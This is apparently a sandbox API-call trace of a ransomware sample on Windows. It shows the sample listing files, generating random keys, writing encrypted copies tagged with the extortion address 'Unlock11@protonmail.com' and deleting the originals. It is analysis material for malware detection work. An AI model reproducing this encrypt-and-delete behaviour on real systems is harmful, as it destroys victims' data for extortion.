GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.405] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.405] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.405] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.406] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.406] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.406] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.406] GetLastError () returned 0x0 [0114.406] GetCurrentThreadId () returned 0x9b0 [0114.406] GetLastError () returned 0x0 [0114.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c48 | out: hHeap=0x2ad0000) returned 1 [0114.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0114.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0114.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0114.406] GetLastError () returned 0x0 [0114.407] GetLastError () returned 0x0 [0114.407] GetCurrentThreadId () returned 0x9b0 [0114.407] GetLastError () returned 0x0 [0114.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.407] GetLastError () returned 0x0 [0114.407] GetLastError () returned 0x0 [0114.407] GetCurrentThreadId () returned 0x9b0 [0114.407] GetLastError () returned 0x0 [0114.407] GetLastError () returned 0x0 [0114.409] GetLastError () returned 0x0 [0114.409] GetCurrentThreadId () returned 0x9b0 [0114.409] GetLastError () returned 0x0 [0114.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0114.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.410] GetCurrentThreadId () returned 0x9b0 [0114.410] GetLastError () returned 0x0 [0114.410] GetLastError () returned 0x0 [0114.410] GetLastError () returned 0x0 [0114.410] GetLastError () returned 0x0 [0114.410] GetCurrentThreadId () returned 0x9b0 [0114.410] GetLastError () returned 0x0 [0114.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.411] GetLastError () returned 0x0 [0114.412] GetLastError () returned 0x0 [0114.412] GetCurrentThreadId () returned 0x9b0 [0114.413] GetLastError () returned 0x0 [0114.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.413] GetLastError () returned 0x0 [0114.413] GetLastError () returned 0x0 [0114.413] GetCurrentThreadId () returned 0x9b0 [0114.413] GetLastError () returned 0x0 [0114.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3727) returned 0x36f8548 [0114.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3735) returned 0x36f8548 [0114.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c48 [0114.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3738) returned 0x3887a10 [0114.414] GetCurrentThreadId () returned 0x9b0 [0114.414] GetLastError () returned 0x0 [0114.414] GetLastError () returned 0x0 [0114.414] GetLastError () returned 0x0 [0114.414] GetLastError () returned 0x0 [0114.414] GetCurrentThreadId () returned 0x9b0 [0114.414] GetLastError () returned 0x0 [0114.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0114.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0114.415] GetLastError () returned 0x0 [0114.415] GetLastError () returned 0x0 [0114.415] GetCurrentThreadId () returned 0x9b0 [0114.415] GetLastError () returned 0x0 [0114.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388b150 | out: hHeap=0x2ad0000) returned 1 [0114.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.415] GetLastError () returned 0x0 [0114.415] GetLastError () returned 0x0 [0114.415] GetCurrentThreadId () returned 0x9b0 [0114.416] GetLastError () returned 0x0 [0114.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.416] GetLastError () returned 0x0 [0114.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.416] CloseHandle (hObject=0x3ac) returned 1 [0114.416] GetLastError () returned 0x0 [0114.416] GetCurrentThreadId () returned 0x9b0 [0114.416] GetLastError () returned 0x0 [0114.417] GetLastError () returned 0x0 [0114.417] CloseHandle (hObject=0x39c) returned 1 [0114.417] GetLastError () returned 0x0 [0114.417] GetCurrentThreadId () returned 0x9b0 [0114.417] GetLastError () returned 0x0 [0114.417] GetLastError () returned 0x0 [0114.417] GetLastError () returned 0x0 [0114.417] GetLastError () returned 0x0 [0114.417] GetLastError () returned 0x0 [0114.417] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0114.419] GetLastError () returned 0x0 [0114.419] GetCurrentThreadId () returned 0x9b0 [0114.419] GetLastError () returned 0x0 [0114.419] GetCurrentThreadId () returned 0x9b0 [0114.419] GetLastError () returned 0x0 [0114.419] GetLastError () returned 0x0 [0114.419] GetLastError () returned 0x0 [0114.419] GetLastError () returned 0x0 [0114.419] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0114.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.420] GetCurrentThreadId () returned 0x9b0 [0114.420] GetLastError () returned 0x0 [0114.420] GetLastError () returned 0x0 [0114.420] GetLastError () returned 0x0 [0114.420] GetLastError () returned 0x0 [0114.420] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0114.420] GetLastError () returned 0x0 [0114.421] GetCurrentThreadId () returned 0x9b0 [0114.421] GetLastError () returned 0x0 [0114.421] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.421] GetLastError () returned 0x0 [0114.421] GetCurrentThreadId () returned 0x9b0 [0114.421] GetLastError () returned 0x0 [0114.421] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.421] GetLastError () returned 0x0 [0114.421] GetCurrentThreadId () returned 0x9b0 [0114.421] GetLastError () returned 0x0 [0114.421] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.421] GetLastError () returned 0x0 [0114.421] GetCurrentThreadId () returned 0x9b0 [0114.422] GetLastError () returned 0x0 [0114.422] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.422] GetLastError () returned 0x0 [0114.422] GetCurrentThreadId () returned 0x9b0 [0114.422] GetLastError () returned 0x0 [0114.422] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.530] GetLastError () returned 0x12 [0114.530] GetCurrentThreadId () returned 0x9b0 [0114.530] GetLastError () returned 0x12 [0114.530] GetLastError () returned 0x12 [0114.530] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0114.530] GetCurrentThreadId () returned 0x9b0 [0114.530] GetLastError () returned 0x12 [0114.530] GetLastError () returned 0x12 [0114.530] GetLastError () returned 0x12 [0114.530] GetLastError () returned 0x12 [0114.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.531] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0114.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0114.531] GetLastError () returned 0x12 [0114.531] GetLastError () returned 0x12 [0114.531] GetLastError () returned 0x12 [0114.531] GetLastError () returned 0x12 [0114.531] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.531] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0114.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.539] GetCurrentThreadId () returned 0x9b0 [0114.539] GetLastError () returned 0x12 [0114.539] GetLastError () returned 0x12 [0114.539] GetLastError () returned 0x12 [0114.539] GetLastError () returned 0x12 [0114.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.539] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0114.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.540] GetLastError () returned 0x12 [0114.540] GetLastError () returned 0x12 [0114.540] GetLastError () returned 0x12 [0114.540] GetLastError () returned 0x12 [0114.540] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.540] GetCurrentThreadId () returned 0x9b0 [0114.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.541] GetLastError () returned 0x12 [0114.541] GetLastError () returned 0x12 [0114.541] GetLastError () returned 0x12 [0114.541] GetLastError () returned 0x12 [0114.541] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.541] GetCurrentThreadId () returned 0x9b0 [0114.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.541] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.541] GetCurrentThreadId () returned 0x9b0 [0114.541] GetLastError () returned 0x0 [0114.542] GetLastError () returned 0x0 [0114.542] GetLastError () returned 0x0 [0114.542] GetLastError () returned 0x0 [0114.542] GetCurrentThreadId () returned 0x9b0 [0114.542] GetLastError () returned 0x0 [0114.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.542] GetLastError () returned 0x0 [0114.542] GetLastError () returned 0x0 [0114.542] GetLastError () returned 0x0 [0114.542] GetLastError () returned 0x0 [0114.543] GetCurrentThreadId () returned 0x9b0 [0114.543] GetLastError () returned 0x0 [0114.543] GetCurrentThreadId () returned 0x9b0 [0114.543] GetLastError () returned 0x0 [0114.543] GetLastError () returned 0x0 [0114.543] GetLastError () returned 0x0 [0114.543] GetLastError () returned 0x0 [0114.543] GetCurrentThreadId () returned 0x9b0 [0114.543] GetLastError () returned 0x0 [0114.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.543] GetLastError () returned 0x0 [0114.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0114.544] GetLastError () returned 0x0 [0114.544] GetLastError () returned 0x0 [0114.544] GetLastError () returned 0x0 [0114.544] GetCurrentThreadId () returned 0x9b0 [0114.544] GetLastError () returned 0x0 [0114.544] GetLastError () returned 0x0 [0114.544] GetLastError () returned 0x0 [0114.544] GetLastError () returned 0x0 [0114.544] GetLastError () returned 0x0 [0114.544] GetCurrentThreadId () returned 0x9b0 [0114.544] GetLastError () returned 0x0 [0114.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0114.545] GetLastError () returned 0x0 [0114.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0114.545] GetLastError () returned 0x0 [0114.545] GetLastError () returned 0x0 [0114.545] GetLastError () returned 0x0 [0114.545] GetCurrentThreadId () returned 0x9b0 [0114.545] GetLastError () returned 0x0 [0114.545] GetLastError () returned 0x0 [0114.545] GetLastError () returned 0x0 [0114.545] GetLastError () returned 0x0 [0114.545] GetLastError () returned 0x0 [0114.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.546] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0)) returned 1 [0114.546] GetLastError () returned 0x0 [0114.546] GetCurrentThreadId () returned 0x9b0 [0114.546] GetLastError () returned 0x0 [0114.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.546] GetCurrentThreadId () returned 0x9b0 [0114.546] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664674 | out: pbBuffer=0x3664674) returned 1 [0114.546] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.546] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.547] GetLastError () returned 0x0 [0114.547] GetLastError () returned 0x0 [0114.547] GetLastError () returned 0x0 [0114.547] GetLastError () returned 0x0 [0114.547] GetCurrentThreadId () returned 0x9b0 [0114.547] GetLastError () returned 0x0 [0114.547] GetCurrentThreadId () returned 0x9b0 [0114.547] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.548] GetLastError () returned 0x0 [0114.548] GetLastError () returned 0x0 [0114.548] GetLastError () returned 0x0 [0114.548] GetLastError () returned 0x0 [0114.548] GetCurrentThreadId () returned 0x9b0 [0114.548] GetLastError () returned 0x0 [0114.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.548] GetCurrentThreadId () returned 0x9b0 [0114.548] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.548] GetLastError () returned 0x0 [0114.548] GetLastError () returned 0x0 [0114.549] GetLastError () returned 0x0 [0114.549] GetLastError () returned 0x0 [0114.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.549] GetLastError () returned 0x0 [0114.549] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.549] GetFileType (hFile=0x39c) returned 0x1 [0114.549] GetLastError () returned 0x0 [0114.549] GetCurrentThreadId () returned 0x9b0 [0114.550] GetLastError () returned 0x0 [0114.550] GetFileType (hFile=0x39c) returned 0x1 [0114.550] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.550] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.550] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.550] GetLastError () returned 0x0 [0114.550] GetCurrentThreadId () returned 0x9b0 [0114.550] GetLastError () returned 0x0 [0114.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.550] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.551] GetLastError () returned 0x0 [0114.551] GetLastError () returned 0x0 [0114.551] GetLastError () returned 0x0 [0114.551] GetLastError () returned 0x0 [0114.551] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cd8 [0114.551] GetLastError () returned 0x0 [0114.551] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.553] GetFileType (hFile=0x3ac) returned 0x1 [0114.553] GetLastError () returned 0x0 [0114.553] GetCurrentThreadId () returned 0x9b0 [0114.553] GetLastError () returned 0x0 [0114.553] GetFileType (hFile=0x3ac) returned 0x1 [0114.553] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.553] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.553] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.554] GetLastError () returned 0x0 [0114.554] GetCurrentThreadId () returned 0x9b0 [0114.554] GetLastError () returned 0x0 [0114.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cd8 | out: hHeap=0x2ad0000) returned 1 [0114.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0114.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0114.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.554] GetLastError () returned 0x0 [0114.554] GetLastError () returned 0x0 [0114.554] GetCurrentThreadId () returned 0x9b0 [0114.555] GetLastError () returned 0x0 [0114.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.555] GetLastError () returned 0x0 [0114.555] GetLastError () returned 0x0 [0114.555] GetCurrentThreadId () returned 0x9b0 [0114.555] GetLastError () returned 0x0 [0114.555] GetLastError () returned 0x0 [0114.557] GetLastError () returned 0x0 [0114.557] GetCurrentThreadId () returned 0x9b0 [0114.557] GetLastError () returned 0x0 [0114.557] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0114.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.557] GetCurrentThreadId () returned 0x9b0 [0114.557] GetLastError () returned 0x0 [0114.558] GetLastError () returned 0x0 [0114.558] GetLastError () returned 0x0 [0114.558] GetLastError () returned 0x0 [0114.558] GetCurrentThreadId () returned 0x9b0 [0114.558] GetLastError () returned 0x0 [0114.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.558] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.558] GetLastError () returned 0x0 [0114.560] GetLastError () returned 0x0 [0114.560] GetCurrentThreadId () returned 0x9b0 [0114.560] GetLastError () returned 0x0 [0114.561] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.561] GetLastError () returned 0x0 [0114.561] GetLastError () returned 0x0 